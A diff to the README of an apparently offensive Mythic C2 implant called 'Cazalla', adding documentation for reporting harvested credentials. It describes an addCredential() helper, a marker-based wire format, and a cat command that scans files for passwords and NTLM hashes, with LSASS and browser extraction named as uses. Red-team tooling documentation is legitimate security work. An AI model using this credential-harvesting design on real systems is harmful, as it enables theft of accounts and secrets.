reporting discovered credentials to Mythic's credential store, allowing you to track and manage credentials discovered during operations. + +### Features + +- **Automatic Credential Detection**: Commands can report discovered credentials using the `addCredential()` helper +- **Multiple Credential Types**: Supports `plaintext`, `hash`, `certificate`, `key`, `ticket`, and `cookie` +- **Credential Management**: Credentials appear in Mythic's Credentials page (click the key icon) +- **Associated with Tasks**: Credentials are linked to the task and callback that discovered them + +### How It Works + +1. **Agent Execution**: When a command discovers credentials (e.g., dumping LSASS, extracting hashes), it: + - Calls `addCredential()` with the credential details + - Includes credential data in the response payload + +2. **Translator Detection**: The translator detects credentials in the response: + - Looks for the credential marker (`0xFE`) in the response + - Extracts credential type, realm, credential value, and account + - Creates credential entries in the JSON response + +3. **Mythic Integration**: Credentials are automatically: + - Added to the response JSON + - Tracked in Mythic's Credentials page + - Associated with the task and callback + +### Example Credential Response + +When you execute a command that discovers credentials, the response includes: + +```json +{ + "task_id": "...", + "user_output": "Credentials extracted successfully", + "credentials": [ + { + "credential_type": "plaintext", + "realm": "spooky.local", + "credential": "SuperS3Cr37", + "account": "itsafeature" + }, + { + "credential_type": "hash", + "realm": "", + "credential": "aad3b435b51404eeaad3b435b51404ee:...", + "account": "Administrator" + } + ] +} +``` + +### Supported Credential Types + +According to [Mythic Credentials documentation](https://docs.mythic-c2.net/customizing/hooking-features/credentials), the following types are supported: +- **plaintext**: Plain text passwords +- **hash**: Password hashes (NTLM, SHA1, etc.) +- **certificate**: Certificates +- **key**: Cryptographic keys +- **ticket**: Kerberos tickets +- **cookie**: Web cookies/session tokens + +### Viewing Credentials + +1. Navigate to your callback in the Mythic UI +2. Click the **CREDENTIALS** icon (key) in the top navigation +3. View all credentials discovered by all commands across all callbacks +4. Filter by credential type, realm, account, etc. + +### Implementation Details + +The credential system uses: +- **Agent Side Helper** (`paquete.c`): `addCredential()` function to easily add credentials to any command response +- **Agent Side** (command handlers): Call `addCredential(paquete, "credential_type", "realm", "credential", "account")` after adding response output +- **Translator Side** (`commands_from_implant.py`): Automatically detects, parses, and creates credential JSON +- **Format**: `[0xFE marker][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]` + +### Using Credentials in Commands + +To add credential reporting to a command: + +```c +// After extracting credentials, add them to the response +addCredential(respuestaTarea, "plaintext", "DOMAIN", "password123", "username"); +addCredential(respuestaTarea, "hash", "", "aad3b435b51404ee...", "Administrator"); + +// For local accounts, realm can be empty string +addCredential(respuestaTarea, "hash", "", "ntlm_hash_here", "LOCALUSER"); +``` + +**Example use cases:** +- LSASS dumping tools → `hash` credentials +- Credential extraction commands → `plaintext` or `hash` credentials +- Certificate extraction → `certificate` credentials +- Kerberos ticket extraction → `ticket` credentials +- Browser credential extraction → `plaintext` or `cookie` credentials +- **`cat` command** → Automatically detects and reports credentials found in file contents: + - Passwords in format `password=value` or `password:value` + - HTTP URLs with embedded credentials: `http://user:pass@host` + - NTLM hashes (format `aad3b435b51404ee:hash` or `:32hexchars`) + - Extracts usernames when found in the same line + +**Note**: Commands that only READ files (like `cat`) should NOT add artifacts since they don't modify system state. However, they CAN analyze content and report discovered credentials using `addCredential()`. + +**Example for `cat` command:** +```c +// Read file contents +// ... read file code ... + +// If credentials are discovered in the file content, report them: +if (found_password) { + addCredential(respuestaTarea, "plaintext", "", "password123", "username"); +} + +// Do NOT add artifacts for read-only operations: +// addArtifact(respuestaTarea, "File Write", file_path); // ❌ WRONG - file wasn't written +``` + +For more information, see the [Mythic Credentials documentation](https://docs.mythic-c2.net/customizing/hooking-features/credentials). + +--- + ## 🔧 Development ### Project Structure @@ -661,7 +819,9 @@ Cazalla/ ### Adding New Commands -**Important**: When developing new commands, always consider whether the command should report artifacts. Commands that modify system state (create processes, write files, modify registry, create network connections, etc.) should include artifact reporting using the `addArtifact()` helper function. See [Artifacts Support](#artifacts-support) for details. +**Important**: When developing new commands, always consider: +1. **Artifact reporting**: Commands that modify system state (create processes, write files, modify registry, create network connections, etc.) should include artifact reporting using the `addArtifact()` helper function. See [Artifacts Support](#artifacts-support) for details. +2. **Credential reporting**: Commands that discover or extract credentials (passwords, hashes, certificates, keys, tickets, cookies) should report them using the `addCredential()` helper function. Commands that read files should analyze content for credentials and report any found. See [Credentials Support](#credentials-support) for details and examples. 1. **Define command in Python** (`agent_functions/my_command.py`): @@ -731,6 +891,15 @@ BOOL myCommandHandler(PAnalizador argumentos) { // - If modifying registry: addArtifact(respuesta, "Registry Write", reg_key); // - If creating network connections: addArtifact(respuesta, "Network Connection", connection_info); + // IMPORTANT: Add credentials if this command discovers or extracts credentials + // Examples: + // - Plaintext password: addCredential(respuesta, "plaintext", "DOMAIN", "password123", "username"); + // - Hash: addCredential(respuesta, "hash", "", "aad3b435b51404ee...", "Administrator"); + // - Domain account (dominio\usuario): addCredential(respuesta, "plaintext", "DOMAIN", "password", "username"); + // - Format usuario@dominio: addCredential(respuesta, "plaintext", "domain.com", "password", "username"); + // - Certificate: addCredential(respuesta, "certificate", "", "cert_data", "account_name"); + // - For file reading commands, analyze content and report found credentials (see cat command example) + Analizador* resp = mandarPaquete(respuesta); liberarPaquete(respuesta); if (resp) liberarAnalizador(resp);